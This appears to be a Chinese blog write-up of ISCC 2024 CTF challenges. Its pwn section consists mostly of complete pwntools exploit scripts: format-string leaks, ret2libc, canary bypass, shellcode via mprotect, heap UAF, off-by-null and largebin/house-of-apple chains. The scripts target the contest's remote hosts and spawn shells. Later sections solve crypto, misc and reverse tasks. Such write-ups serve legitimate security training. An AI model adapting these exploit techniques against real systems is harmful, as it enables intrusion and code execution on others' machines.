ida查看发现后门:
通过对比Flag字符串来执行后门。
仔细观察ptr固定大小为0x70,v2的大小可以任意跳转,可以先申请一个0x20大小的堆然后释放进bin中,这样在chaos函数的时候,v2的堆块在ptr上面,这个时候溢出到下面即可。
可以看到是32位,保护只开了NX,栈不可写。
IDA看一下:
read和printf,很明显的一道格式化字符串漏洞,
还有足够的一处:
那我们只需要通过格式化字符串来更改x的值为5,我们就可以溢出,ret2libc来getshell
pythonfrom pwn import *
from LibcSearcher import*
context.arch='i386'
# p = process('./ISCC_easy')
p=remote('182.92.237.102',10013)
libc=ELF('./libc6-i386_2.31-0ubuntu9.14_amd64.so')
x=0x804C030
payload=fmtstr_payload(4,{x:5})+b'%15$p'
p.send(payload)
p.recvuntil(b'0x')
libc_add=int(p.recv(8),16)
libcbase=libc_add-libc.sym['__libc_start_main']-245
success('libcbase '+hex(libcbase))
# gdb.attach(p)
system=libcbase+libc.symbols['system']
binsh=libcbase+next(libc.search(b'/bin/sh'))
payload=b'a'*(0x90+0x4)+p32(system)*2+p32(binsh)
p.recvuntil(b'Input')
p.sendline(payload)
p.interactive()
file:
保护全开。
ida一看右后门,基本秒:
核心代码:
溢出一个,格式化字符串漏洞一个,我们可以同过这一个fmt来泄露canary以及libc基址:
pythonfrom pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
remote_server = remote('182.92.237.102', 10011)
elf_file = ELF('./attachment-13')
payload = b'flagis\x00' + b'%17$p%15$p'
remote_server.recvuntil(b'>>')
remote_server.sendline(payload)
remote_server.recvuntil(b'0x')
address = int(remote_server.recv(12), 16)
elf_base = address - 0x1520
print(hex(elf_base))
remote_server.recvuntil(b'0x')
canary = int(remote_server.recv(8*2), 16)
print(hex(canary))
backdoor_address = elf_base + 0x1291
payload = b'exit'.ljust(56, b'\x00') + p64(canary) + p64(0) + p64(backdoor_address)
remote_server.recvuntil(b'>>')
remote_server.sendline(payload)
remote_server.interactive()
又是格式话字符串:绷
甚至还有溢出:
pythonfrom pwn import *
context.log_level="debug"
context.arch="i386"
context.terminal = ['tmux', 'splitw', '-h']
# p=process("./attachment-41")
#sh=remote("",)
p = remote('182.92.237.102',10015)
elf=ELF("./attachment-41")
read=elf.sym["read"]
mprotect=elf.sym["mprotect"]
pop=0x0804f1f4
bss=0x080EB000
p.recvuntil(b"Would you like to say something to it?\n")
payload=b"%31$p"
p.sendline(payload)
p.recvuntil(b"0x")
canary=int(p.recv(8).decode(),16)
print("canary=",hex(canary))
p.recvuntil(b" ( ^.^ ) \n\n")
payload=0x64*b'a'+p32(canary)+0xc*b'a'+p32(mprotect)+p32(pop)+p32(bss)+p32(0x1000)+p32(7)+p32(read)+p32(pop)+p32(0)+p32(bss)+p32(0x1000)+p32(bss)
p.sendline(payload)
shellcode=asm(shellcraft.sh())
p.sendline(shellcode)
p.interactive()
主要思路就是用mproctect改bss中的一页有执行权限,然后shellcode写道bss段上执行。
file:
可以看到又是一个格式话字符串:
我们要先爆破出第一个字符,才能用到这一个格式化字符串,
然后back函数里面溢出,先利用fmt函数泄露出canary,然后利用溢出打正常的ret2libc
pythonfrom pwn import *
from LibcSearcher import*
context.log_level="debug"
context.arch="i386"
context.terminal = ['tmux', 'splitw', '-h']
p=remote('182.92.237.102',10012)
elf = ELF('./attachment-12')
payload=b'a%19$p'
p.sendline(payload)
p.recvuntil(b'0x')
canary=int(p.recv(8),16)
success('canary '+hex(canary))
read_got=elf.got['read']
puts_plt=elf.plt['puts']
back=0x80494E0
payload=b'a'*(136)+p32(canary)+p32(0xdead)+b'a'*(8)+\
p32(puts_plt)+p32(back)+p32(read_got)
p.recvuntil(b'Input')
p.sendline(payload)
leak_add=u32(p.recvuntil(b'\xf7')[-4:])
libc=LibcSearcher(read,read_add)
libcbase=leak_add-libc.dump(read)
system=libcbase+libc.dump('system')
binsh=libcbase+libc.dump('str_bin_sh')
payload=b'a'*(136)+p32(canary)+p32(0xdead)+b'a'*(8)+\
p32(system)+p32(back)+p32(binsh)
p.recvuntil(b'Input')
p.sendline(payload)
p.interactive()
libcsearcher里面选第9个,试了半天。
拖进ida看看:
一眼顶针,uaf模板题:
ida: 先一个认证要求第二十八位是“A”:
然后申请堆块:
一个fastchunk,o指向这个堆块。然后后面3/4个字长有两个函数指针,greetings和bye。
我们主要就是利用UAF和一个格式化字符串来打:
pythonfrom time import*
from pwn import*
context.log_level = 'debug'
p = remote('182.92.237.102',10032)
# p = process('./attachment-42')
elf = ELF('./attachment-42')
printf_got = elf.got['printf']
printf_plt = elf.plt['printf']
puts_plt = elf.plt['puts']
pop_rdi = 0x401763
ret = 0x40101a
main = elf.sym['main']
vuln_addr = 0x40127A
addr = 0x403668
payload = b'A'*(32) + p64(0) + p64(pop_rdi) + p64(printf_got) + p64(puts_plt) + p64(main)
p.sendlineafter(b'Enter key:',payload)
printf_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
print(hex(printf_addr))
libc_base = printf_addr - 0x61c90
print(hex(libc_base))
system_addr = libc_base + 0x52290
bin_sh = libc_base + 0x1b45bd
offset = 6
payload = b'A'*(28)
p.sendlineafter(b'key',payload)
p.sendlineafter("tell me your name:","hacker")
payload = b'%7$s'.ljust(8, b'\xff') + p64(addr)
p.sendlineafter(b'>',b'2')
p.sendline(payload)
p.recvuntil(b'hello hack\n')
heap_base = u64(p.recvuntil(b'\xff')[:-1].ljust(8, b'\x00'))
print(hex(heap_base))
def clear(choice=b'n'):
p.sendlineafter(b'>',b'4')
p.sendlineafter(b'Are you sure you want to exit? (y/n)',choice)
# p.sendlineafter(b'>',b'4')
# p.sendlineafter(b'(y/n)',b'n')
# p.sendlineafter(b'>',b'4')
# p.sendlineafter(b'(y/n)',b'n')
clear(b'\x24')
clear()
p.sendlineafter(b'>',b'3')
p.sendline(p64(0)*3 + p64(system_addr))
payload = f'%{0x3024}c%9$hn'.encode().ljust(0x18,b'\xff') + p64(heap_base)
p.sendlineafter(b'>',b'2')
p.sendline(payload)
p.interactive()
ida看看:
发现一个沙箱:
第一直觉用ORW:
seccomp看一下:
ban掉了execve: 但是我们在add:
以及:edit发现了off_by_null
主要思路就是利用large chunk,泄露出来libc和heap的地址,再利用off_by_null进行unlink,堆重叠,然后往env位置上申请chunk,泄露出来stack地址,然后劫持add()的返回地址,实现控制执行流。
pythonfrom pwn import *
from LibcSearcher import*
context.log_level="debug"
context.arch="i386"
context.terminal = ['tmux', 'splitw', '-h']
libc = ELF("./libc.so.6")
elf =ELF('./CaT_DE')
# p = process('./CaT_DE')
p = remote('182.92.237.102',2122)
def add(size,content):
p.sendlineafter("input your car choice >> ",b'1')
p.sendlineafter("size:",str(size))
p.sendafter("content:",content)
def edit(index,content):
p.sendlineafter("input your car choice >> ",b'4')
p.sendlineafter("index:",str(index))
p.sendafter("content:",content)
def show(index):
p.sendlineafter("input your car choice >> ",b'3')
p.sendlineafter("index:",str(index))
def delete(index):
p.sendlineafter("input your car choice >> ",b'2')
p.sendlineafter("index:",str(index))
add(0x440,"aaa")
add(0x88,"aaa")
add(0x440,"aaaa")
add(0x88,"aaa")
delete(0)
delete(2)
add(0x450,"aaaa")
add(0x440,"aaaaaaaa")
add(0x440,"bbbbbbbb")
show(4)
p.recvuntil(b'\0')
libc.address = u64(p.recv(6).ljust(8,b"\x00")) -0x21a000 - 0xe0
envrion = libc.sym['environ']
stdout = libc.sym['_IO_2_1_stdout_']
print(hex(libc.address))
p.recv(2)
heap_addr = u64(p.recv(8)) - 0x290
print(hex(heap_addr))
for i in range(7):
add(0xf8,"aaa")
add(0x108,"aaa")
add(0xf0,"aaaa")
add(0x88,"aaa")
for i in range(7):
delete(i+5)
target = heap_addr + 0x17c0
ptr = heap_addr + 0xc60
edit(0,p64(target))
payload = p64(0) + p64(0x101) + p64(ptr-0x18) + p64(ptr - 0x10)
payload = payload.ljust(0x100,b"\x00") + p64(0x100)
edit(12,payload)
delete(13)
add(0xe8,"aaaa")
add(0xe8,"aaaa")
delete(5)
delete(6)
show(12)
p.recvuntil("\xf1")
p.recv(7)
ekey = u64(p.recv(8))
print("ekey ===> " + hex(ekey))
key = u64(p.recv(8))
print("key ===> " + hex(key))
payload = p64(0)+p64(0xf1)+p64(ekey)+p64(key)
payload = payload.ljust(0xf0,b"\x00") + p64(0) + p64(0xf1) + p64((heap_addr+0x10)^ekey)
edit(12,payload)
add(0xe8,"aaaa")
add(0xe8,p64(0)*3+p64(0x700010001)+p64(0)*24+p64(envrion-16))
print(hex(stdout))
add(0xd0,"a"*8)
show(7)
stack = u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00")) - 0x140 - 8
print(hex(stack))
edit(6,p64(0)*3+p64(0x700010001)+p64(0)*24+p64(stack))
pop_rdi = 0x2a3e5 + libc.address
pop_rsi = 0x2be51 + libc.address
pop_rdx_r12 = 0x11f497 + libc.address
read_addr = libc.sym['read']
open_addr = libc.sym['open']
write_addr = libc.sym['write']
orw = p64(pop_rdi) + p64(stack) + p64(pop_rsi) + p64(0) + p64(open_addr)+\
p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(stack + 0x100) + p64(pop_rdx_r12) +\
p64(0x30) + p64(0) + p64(read_addr)+\
p64(pop_rdi) + p64(1) + p64(write_addr)
add(0xd0,b"./flag".ljust(8,b"\x00")+orw)
p.interactive()
file:
ida:
开了沙箱:
和上一题相似的禁用了execve
和明显这题还是有UAF:
可以看到add只能申请大的chunk,也就是large chunk
那我们呢这题的大致思路也就有了:
使用largbin attack来打stderr,然后house_of_apple后用exit来执行完成orw
pythonfrom pwn import *
from LibcSearcher import*
context.log_level="debug"
context.arch="i386"
context.terminal = ['tmux', 'splitw', '-h']
p=remote('182.92.237.102',11000)
# p = process('./heapheap')
libc=ELF('./libc-2.31.so')
def create(index,Size):
p.recvuntil(b'choice')
p.sendline(b'1')
p.recvuntil(b'index')
p.sendline(bytes(str(index),'utf-8'))
p.recvuntil(b'Size')
p.sendline(bytes(str(Size),'utf-8'))
def free(index):
p.recvuntil(b'choice')
p.sendline(b'4')
p.recvuntil(b'index')
p.sendline(bytes(str(index),'utf-8'))
def edit(index,Content):
p.recvuntil(b'choice')
p.sendline(b'3')
p.recvuntil(b'index')
p.sendline(bytes(str(index),'utf-8'))
p.recvuntil(b'context')
p.send(Content)
def show(index):
p.recvuntil(b'choice')
p.sendline(b'2')
p.recvuntil(b'index')
p.sendline(bytes(str(index),'utf-8'))
create(0,0x420)
create(1,0x410)
create(2,0x410)
create(3,0x410)
free(0)
show(0)
libc_addr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc_base=libc_addr-libc.sym['__malloc_hook']-96-0x10
io_al=libc_base+0x1ed5a0
print(hex(libc_base))
print(hex(io_al))
create(4,0x430)
edit(0,b'a'*(0x10-1)+b'A')
show(0)
p.recvuntil(b'A')
heap_add=u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\x00'))
print(hex(heap_add))
fd=libc_base+0x1ecfd0
payload=p64(fd)*2+p64(heap_add)+p64(io_al-0x20)
edit(0,payload)
free(2)
create(5,0x470)
free(5)
open_add=libc_base+libc.sym['open']
read_add=libc_base+libc.sym['read']
write_add=libc_base+libc.sym['write']
setcontext_add=libc_base+libc.sym['setcontext']
rdi=libc_base+0x23b6a
rsi=libc_base+0x2601f
rdx_r12=libc_base+0x0119431
ret=libc_base+0x22679
chunk_small=heap_add+0x850
IO_wfile_jumps=libc_base+0x1e8f60
fakeio_addr=chunk_small
orw_add=fakeio_addr+0x200
A=fakeio_addr+0x40
B=fakeio_addr+0xe8+0x40-0x68
C=fakeio_addr
fakeio=b''
fakeio=fakeio.ljust(0x18,b'\x00') + p64(1)
fakeio=fakeio.ljust(0x78,b'\x00') + p64(fakeio_addr)
fakeio=fakeio.ljust(0x90,b'\x00') + p64(A)
fakeio=fakeio.ljust(0xc8,b'\x00') + p64(IO_wfile_jumps) + p64(orw_add)+p64(ret)+b'\x00'*0x30 + \
p64(B)+p64(setcontext_add+61)
flag_add=orw_add+0x100+0x10
orw = p64(rdi)+ p64(flag_add) + p64(rsi) + p64(0) + p64(open_add)+\
p64(rdi)+ p64(3)+p64(rsi)+p64(flag_add)+p64(rdx_r12)+p64(0x50)+p64(0)+p64(read_add)+\
p64(rdi)+p64(1)+p64(write_add)
payload=fakeio
payload=payload.ljust(0x200-0x10,b'\x00') + orw
payload=payload.ljust(0x300,b'\x00')
payload+=b'flag\x00'
edit(2,payload)
p.recvuntil(b'choice')
p.sendline(b'5')
p.interactive()
这里有溢出:
并且
我们点进去可以发现:
再bss段上
这样我们就有大致思路:通过溢出篡改这个bss段上的函数的指针指向system函数来getshell
pythonfrom pwn import *
context.log_level="debug"
context.arch="i386"
context.terminal = ['tmux', 'splitw', '-h']
p=remote('182.92.237.102',10019)
# p = process('./attachment-11')
elf=ELF('./attachment-11')
# libc=ELF('./libc.so.6')
def create(Size,Content=b'a',count=0,mod=1):
p.recvuntil(b'Action')
p.sendline(b'1')
p.recvuntil(b'ID')
p.sendline(bytes(str(Size),'utf-8'))
p.recvuntil(b'Quantity')
p.sendline(bytes(str(count),'utf-8'))
p.recvuntil(b'Add')
p.sendline(bytes(str(mod),'utf-8'))
if(Content==b'no'):
return
p.recvuntil(b'Message')
contxt=Content.ljust(Size,b'\x00')
p.send(contxt)
p.sendline(b"I'm ready for shopping")
p.recvuntil(b'***',timeout=5)
for i in range(12):
create(0x4000,b'no',1000,0)
create(0x4000,b'a',261)
create(0x3000)
create(0x1000-0x8,b'no')
p.send(b'a'*(0x1000-0x8-0x10))
bypass=0x602038
system=0x0400978
bss=0x602040
payload=b'\x00'*(0x40+8)+p64(0)+p64(bypass-0x1b)*6+p64(bss)
p.send(payload)
create(0x60,b'\x00'*(0x1b-0x10)+p64(system)+p64(0)+p64(0x8f))
create(0x70,b'/bin/sh\x00')
p.interactive()
一道很简单的rsa
先解的p,q
然后计算
pythonimport gmpy2
from Crypto.Util.number import long_to_bytes
q = 11104861498641160020551133747582851050482827883841239117180799157472078278661946047575808556331157873693827396366774529894387508349540416345196575506278923
p = 11679509046055093484387585536769973960915016129595089156764897709796981174994469835617477280580153684696296947700908005372625963068761884667061288424062299
n = 129699330328568350681562198986490514508637584957167129897472522138320202321246467459276731970410463464391857177528123417751603910462751346700627325019668100946205876629688057506460903842119543114630198205843883677412125928979399310306206497958051030594098963939139480261500434508726394139839879752553022623977
e = 65537
c = 128078960193140808683559118633217600879940998817909568182141311537800867512690722368075522141556996276359237558158477733024825996070234180820860244607694198815376269550287105459194572190573383166386710828931679858562777866446477175529580658436251900048546779677845065373412279418363747278489630829416405841200
n = q*p
# print(n)
d = gmpy2.invert(e, (p - 1) * (q - 1))
print("d=",d)
m = pow(c, d, n)
print(m)
print(long_to_bytes(m))
解压压缩包发现有一个压缩包和一个流量文件,压缩包需要密码,我们就先从流量包入手;
通过分析流量的是一个鼠标流量,我们直接通过工具解出:Mumuzi7179/UsbKeyboard_Mouse_Hacker_Gui: 自带GUI的一键解鼠标流量/键盘流量小工具 (github.com)
这个工具。
压缩密码为:pr3550nwardsa2fee6e0
解压之后还是rar压缩文件:
发现都是里面的文件都是时间的差的ascii,直接脚本转:
pythonimport rarfile
# path = '/home/hyrink/iscc2024/attachment-27/11/21'
rarf = rarfile.RarFile('./11.rar')
flag = ''
dict = {}
all_files = rarf.namelist()
for i in range(18):
name = f'11/.{i}.txt'
# 检查文件是否在列表中
if name in all_files:
datetime = rarf.getinfo(name).date_time
out = datetime[-2] * 60 + datetime[-1]
dict[i] = chr(out)
else:
print(f'File {name} not found in rar file')
print(dict)
for i in range(18):
flag += dict[i]
print('ISCC{'+flag+'}')
根据题目我们可以分析: 第一问:
\1. 题目一:在某些网络会话中,数据包可能保持固定大小,请给出含有此确定性特征的会话IP地址和数据包字节大小值。
答案:IP地址:192.168.1.2,192.168.1.4,…,数值:24
第二问:
\1. 题目二:通信包数据某些字段可能为确定的,请给出确定字节数值。
答案:2024
查看任意data段开头都为2024.
第三问:
\1. 题目三:一些网络通信业务在时间序列上有确定性规律,请提供涉及的IP地址及时间规律数值(小数点后两位)
答案:IP地址:192.168.1.3,192.168.1.5…,数值:0.06
可以看出来3-5这个是有规律的
第四问:
分析一下可得:
192.168.1.2,192.168.1.3,192.168.1.6
第五问:
一眼CRC16,UDp协议,最近刚学的。
CRC16,4,1
pythonimport hashlib
def generate_flag(*answers):
# 将所有答案使用英文逗号连接
combined_answers = ','.join(answers)
# 生成flag格式
initial_flag = f"ISCC{{{combined_answers}}}"
# 对flag进行MD5加密
md5_hash = hashlib.md5(initial_flag.encode()).hexdigest()
return md5_hash
# 示例用法
if __name__ == "__main__":
# 每道题目的所有填空写在一个字符串中
answers = [
"192.168.1.2,192.168.1.4,24", # 第一小题答案:IP顺序从小到大排列,涉及的IP个数由选手自己判断,数值为整数
"2024", # 第二小题答案:数值为整数
"192.168.1.3,192.168.1.5,0.06", # 第三小题答案:IP顺序从小到大排列,涉及的IP个数由选手自己判断,数值保留小数点后2位
"192.168.1.2,192.168.1.3,192.168.1.6", # 第四小题答案:IP顺序从小到大排列,涉及的IP个数由选手自己判断
"CRC16,4,1" # 第五小题答案:数据校验算法名称长度为5个字符,其中英文字母大写
]
# 生成MD5加密后的flag
final_flag = generate_flag(*answers)
# 输出最终的MD5加密字符串
print(final_flag)
是一个excel表格文件,我们直接全选将可莪能有内容的地方设为加粗,然后并全部替换为黑色填充,这样二维码就出来了。然后我们调整一下列宽。
最后手机扫就出来了:
直接将bmp图片拖进slientsys中,decode出c1,c2
根据小纸条中的n和e我们可以编写一下脚本
from sage.all import * # 定义半高斯消元法 def half_gcd(a, b): if 2 * b.degree() <= a.degree() or a.degree() == 1: return 1, 0, 0, 1 degree_half = a.degree() // 2 a_top, a_bottom = a.quo_rem(x ^ degree_half) b_top, b_bottom = b.quo_rem(x ^ degree_half) R00, R01, R10, R11 = half_gcd(a_top, b_top) c = R00 * a + R01 * b d = R10 * a + R11 * b quotient, remainder = c.quo_rem(d) d_top, d_bottom = d.quo_rem(x ^ (degree_half // 2)) e_top, e_bottom = remainder.quo_rem(x ^ (degree_half // 2)) S00, S01, S10, S11 = half_gcd(d_top, e_top) RET00 = S01 * R00 + (S00 - quotient * S01) * R10 RET01 = S01 * R01 + (S00 - quotient * S01) * R11 RET10 = S11 * R00 + (S10 - quotient * S11) * R10 RET11 = S11 * R01 + (S10 - quotient * S11) * R11 return RET00, RET01, RET10, RET11 # 定义最大公约数函数 def gcd(a, b): quotient, remainder = a.quo_rem(b) if remainder == 0: return b R00, R01, R10, R11 = half_gcd(a, b) c = R00 * a + R01 * b d = R10 * a + R11 * b if d == 0: return c.monic() quotient, remainder = c.quo_rem(d) if remainder == 0: return d return gcd(d, remainder) # 定义 RSA 参数 cipher1 = 5084430851838113523393115032513311535500755645287961034273150450878719871429607651618592511509161610169260841359889003011023911501082864274846731876416091402627764681252480941441218487366803368877518643680835877768022850168783447996465771780469400493839313478185978614380496265271538003507591102880616119129406965461842197352808694932130681483227336095592328953237824570060658659682081450724644970663066004664775784877408932000778479470442950447670266279209279546086287992216518290909533579501613224690639103323411452964702988083628301170777297836876088000444929063368131747927440844474585029410903979232570437256592 cipher2 = 6770845010811094653997938081504379354000806924241122408118549248788068707429602310127679697190286099719328578264458232994472427661290094103926984262048813230502045644442412484627340558839195841039651459562575296017233998317676367207804525532207220597714463509052510014187748450894562434496695557807630723460473650546242247980923983229597986553010845592774443969688520015212274496627370803146405147996708197001940533213730446803525150822873021603712774600682997757342487918325713263050552729853274774667419446962562861289407591532865577818065738592645721250707475596006576757897208031092114068141633582367947889234807 modulus = 14333611673783142269533986072221892120042043537656734360856590164188122242725003914350459078347531255332508629469837960098772139271345723909824739672964835254762978904635416440402619070985645389389404927628520300563003721921925991789638218429597072053352316704656855913499811263742752562137683270151792361591681078161140269916896950693743947015425843446590958629225545563635366985228666863861856912727775048741305004192164068930881720463095045582233773945480224557678337152700769274051268380831948998464841302024749660091030851843867128275500525355379659601067910067304244120384025022313676471378733553918638120029697 exponent = 52595 # 定义消息填充 padding1 = 1769169763 padding2 = 1735356260 # 定义多项式环 polynomial_ring = PolynomialRing(Zmod(modulus), 'x') x = polynomial_ring.gen() # 定义多项式 g1 和 g2 g1 = (x * 2^32 + padding1)^exponent - cipher1 g2 = (x * 2^32 + padding2)^exponent - cipher2 # 定义 X X = 584734024210292804199275855856518183354184330877 # 打印 g1(X) 和 g2(X) print(g1(X), g2(X)) # 计算 g1 和 g2 的最大公约数 result = gcd(g1, g2) # 获取消息 message = -result.monic().coefficients()[0] # 打印消息 print(message) # 打印解码后的消息 print(bytes.fromhex(hex(message)[2:]).decode().replace("flag{", 'ISCC{'))
可以从tcp流中拿到这么一个png图片:
里面有这个张图片,改一下高度拿到解压密码:
57pmYyWt
然后我们尝试打开文件,发现打不开,拖进010看看:
"PK" 是ZIP文件的魔术数字,表示文件是ZIP格式。
我们重命名后解压:
在一种文件下找到flag文件,解密即可:
解压文件之后有两个文件:
我们直接将Png文件拖入010
可以看倒是有隐藏文件的:
我们用binwalk分离出来:
通过检索得知,lyra是一种语音隐写
puzzlesolver解决:
都放到010editor里面
发现每一个图片数据IDEN后面都还有冗余的数据,那我们拿出来看看:
对他进行异或试试,因为有很多ff,用ff异或:
都异或完成之后发现一个zip的头,但是要删除前四字节:
然后用脚本整成一个zip文件:
pythonf1 = open('left_foot_invert.png','rb')
f2 = open('left_hand_invert.png','rb')
f3 = open('right_foot_invert.png', 'rb')
f4 = open('right_hand_invert.png', 'rb')
f5 = open('2.zip', 'wb')
for i in range(3176):
f5.write(f1.read(1))
f5.write(f2.read(1))
f5.write(f3.read(1))
f5.write(f4.read(1))
f5.write(f1.read(1))
f1.close()
f2.close()
f3.close()
f4.close()
f5.close()
解压密码直接弱口令,为65537
没找到flag
但是我将文件按再次改为zip后解压,找到了原本因该出现的东西:
搓脚本:
pythonfrom Crypto.Util.number import *
import gmpy2
p = 100882503720822822072470797230485840381
q = 167722355418488286110758738271573756671
e = 65537
n = 16920251144570812336430166924811515273080382783829495988294341496740639931651
pi=(p-1)*(q-1)
d=gmpy2.invert(e,phi)
c=bytes_to_long(open('true_flag.jpeg','rb').read())
m=pow(c,d,n)
print(long_to_bytes(m))
将题目与提示的首字母拼接:
[【BUUCTF】De1CTF 2019]SSRF Me_flask_aoao今晚吃什么-CSDN学习社区原题方法直接用:
进入页面查看源码:获得提示
根据源码进去影藏关:
发现一段hash:
但是实际上是base64,接出来:
直接找现成的CVE poc
直接梭哈:
ISCC{OxxcjzK0ROr7s_uI}
pythonupper_alpha = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
lower_alpha = "abcdefghijklmnopqrstuvwxyz"
special_chars = "0123456789+/-=!#&()?;:^%"
cipher_text = "DABBZXQESVFRWNGTHYJUMKIOLPC"
key_values = []
encoded_values = [70,83,66,66,104,75,89,112,86,77,118,81,70,79,74,70,106,78,122,73,70,117,68,98,108,102,54]
for value in encoded_values:
char = chr(value)
if char in upper_alpha:
index = upper_alpha.index(char)
elif char in lower_alpha:
index = lower_alpha.index(char) + 26
elif char in special_chars:
index = special_chars.index(char) + 52
print(index, end="")
key_values.append(index)
print()
for i, key in enumerate(key_values):
print(chr(ord(cipher_text[i]) + key), end="")
两次check,先逆向出算法,然后再check2中将密文解密即可:
先upx脱壳。
分析逆向encryption就可以
cpp#include <iostream>
#include <cstring>
int main() {
int64_t v8[4] = {0x55F4D27ADD3720FE, 0xF23D687F53A6AF36, 0xBD610E0FBE604ACD};
int64_t v9 = 885833057;
unsigned char a1[27];
const char* Str = "So--this-is-the-right-flag";
const char* v7 = "ISCC";
int a3 = strlen(Str);
// Fill a1 with values from v8 and v9
for (int i = 0; i < 24; i++) {
a1[i] = *((unsigned char*)v8 + i);
}
a1[24] = *((unsigned char*)&v9 + 2);
a1[25] = *((unsigned char*)&v9 + 3);
// Perform operations on a1
for (int i = 0; i < 26; i++) {
a1[i] -= 10;
a1[i] &= 0xff;
}
for (int m = 0; m < a3 - 1; ++m) {
a1[m] += a1[m + 1];
a1[m] &= 0xff;
}
for (int k = 0; k < a3 - 1; ++k) {
a1[k] ^= v7[2];
a1[k] &= 0xff;
}
for (int j = 0; j < a3; j += 2) {
a1[j] ^= v7[j % 4];
a1[j] &= 0xff;
}
for (int i = 0; i < a3; ++i) {
a1[i] += v7[i % 4];
a1[i] &= 0xff;
}
// Print a1
for (int i = 0; i < 26; i++) {
printf("%c", a1[i]);
}
printf("\n");
return 0;
}
直接脚本索:
pythonprint("ISCC{" + base64.b64decode(bytes.fromhex("".join([chr(get_wide_byte(0x14000BF40+i) ^ 0xc) for i in range(48)])).decode('utf-8')).decode() + "}")
看main函数:
程序对输入的字符串进行了三次加密,最后与flag密文进行对比
第一就 遍历 v17 数组然后根据字节索引的奇偶性,将字节的值加 2 或减 3。
第二次遍历 v17 数组将 v16 数组对应位置的字节减去 48,与当前字节异或将异或结果存储回 v17 数组。
第三次看一下
通过比对可以发现是标准的 XXTEA 加密,密钥是&unk_407018
取出来密文和密钥进行解密即可
cppusing namespace std;
#include <stdio.h>
#include <stdint.h>
#define DELTA 0x9e3779b9
#define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z)))
#include <iostream>
void btea(int *v, int n, uint32_t const key[4]) {
uint32_t y, z, sum;
unsigned p, rounds, e;
if (n > 1) {
rounds = 6 + 52 / n;
sum = 0;
z = v[n - 1];
do {
sum -= DELTA;
e = (sum >> 2) & 3;
for (p = 0; p < n - 1; p++) {
y = v[p + 1];
z = v[p] += MX;
}
y = v[0];
z = v[n - 1] += MX;
} while (--rounds);
} else if (n < -1) {
n = -n;
rounds = 6 + 52 / n;
sum = rounds * DELTA;
y = v[0];
do {
e = (sum >> 2) & 3;
for (p = n - 1; p > 0; p--) {
z = v[p - 1];
y = v[p] -= MX;
}
z = v[n - 1];
y = v[0] -= MX;
sum -= DELTA;
} while (--rounds);
}
}
int main() {
uint32_t key[4] = {0x12345678, 0x9ABCDEF0, 0xFEDCBA98, 0x76543210};
int v[] = { 103987394,-684161121,18462647,-541643135,-1059316750,1232746420};
btea(v, -6, key);
string a = (char *)v;
int v16[24];
srand(0x18u);
for (int i = 0; i < 24; ++i ) {
v16[i] = rand() % 10 + 48;
}
for (int k = 0; k < 24; ++k ) {
a[k] ^= (v16[k] - 48);
}
for (int j = 0; j < 24; ++j ) {
if ( j % 2 ) {
a[j] -= 2;
} else {
a[j] += 3;
}
}
for (int i = 0; i < 24; i++) {
cout << (char)a[i];
}
}
python
v4=[get_wide_byte(0x00401625+i*7) for i in range(24)]
for i in range(0,len(v4) - 1,4):
v4[i + 2] ^= v4[i+3]
v4[i + 1] ^= v4[i + 2]
v4[i] ^= v4[i + 1]
print(bytes(v4).decode())
直接逆,脚本索。
就是一个逐字符减少前面数值的算法,直接逆:
然后idapython执行
pythondef cal(n):
a,b = 0,1
lt = []
for i in range(n):
a,b =b,a+b
lis.append(a)
return lt
with open(r"code_book_46.txt","r") as file:
data = file.read()
file.close()
target = cal(20)
assert target[-1] > len(data)
print(f"ISCC{{{''.join([data[i - 1] if i < len(data) else '' for i in target])}}}")
ida看:
发现encode
c#include <iostream>
#include <vector>
int main() {
std::vector<int> Block = {73, 83, 67, 67};
std::vector<int> v4 = {2, 0, 3, 1, 6, 4, 7, 5, 10, 8, 11, 9};
std::vector<int> enc = { 0,16,56,54, 37, 61, 50,43, 27, 0,20,3, 67, 107, 83, 112,70,74,63,103,116,125,117,98};
std::vector<int> enc_back(12), enc_front(12);
std::vector<int> f(24);
int i;
for (i = 0; i < 12; i++) { enc[i] = enc[i]; front[i] = enc[i + 12];
}
for (i = 0; i < 12; i++) {
f[2 * i + 1] = front[v4[i]];
}
for (i = 0; i < 12; i++) { enc[i] ^= Block[i & 3];
}
for (i = 0; i < 12; i++) { f[2 * i] = back[i];
}
for (i = 0; i < 24; i++) {
std::cout << static_cast<char>(f[i]);
}
return 0;
}
alt+a将密文换位中文
冻笔新诗懒写寒炉美酒时温醉看墨花月白恍疑雪满前村
花墨村前花墨炉寒花墨花墨看醉白月看醉温时村前看醉看醉看醉花墨村前看醉炉寒炉寒笔冻花墨酒美看醉酒美村前看醉花墨看醉
疑恍村前看醉温时看醉温时花墨写懒炉寒诗新看醉白月花墨疑恍村前温时温时村前花墨写懒炉寒炉寒酒美炉寒温时疑恍酒美
本文作者:Hyrink
本文链接:
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!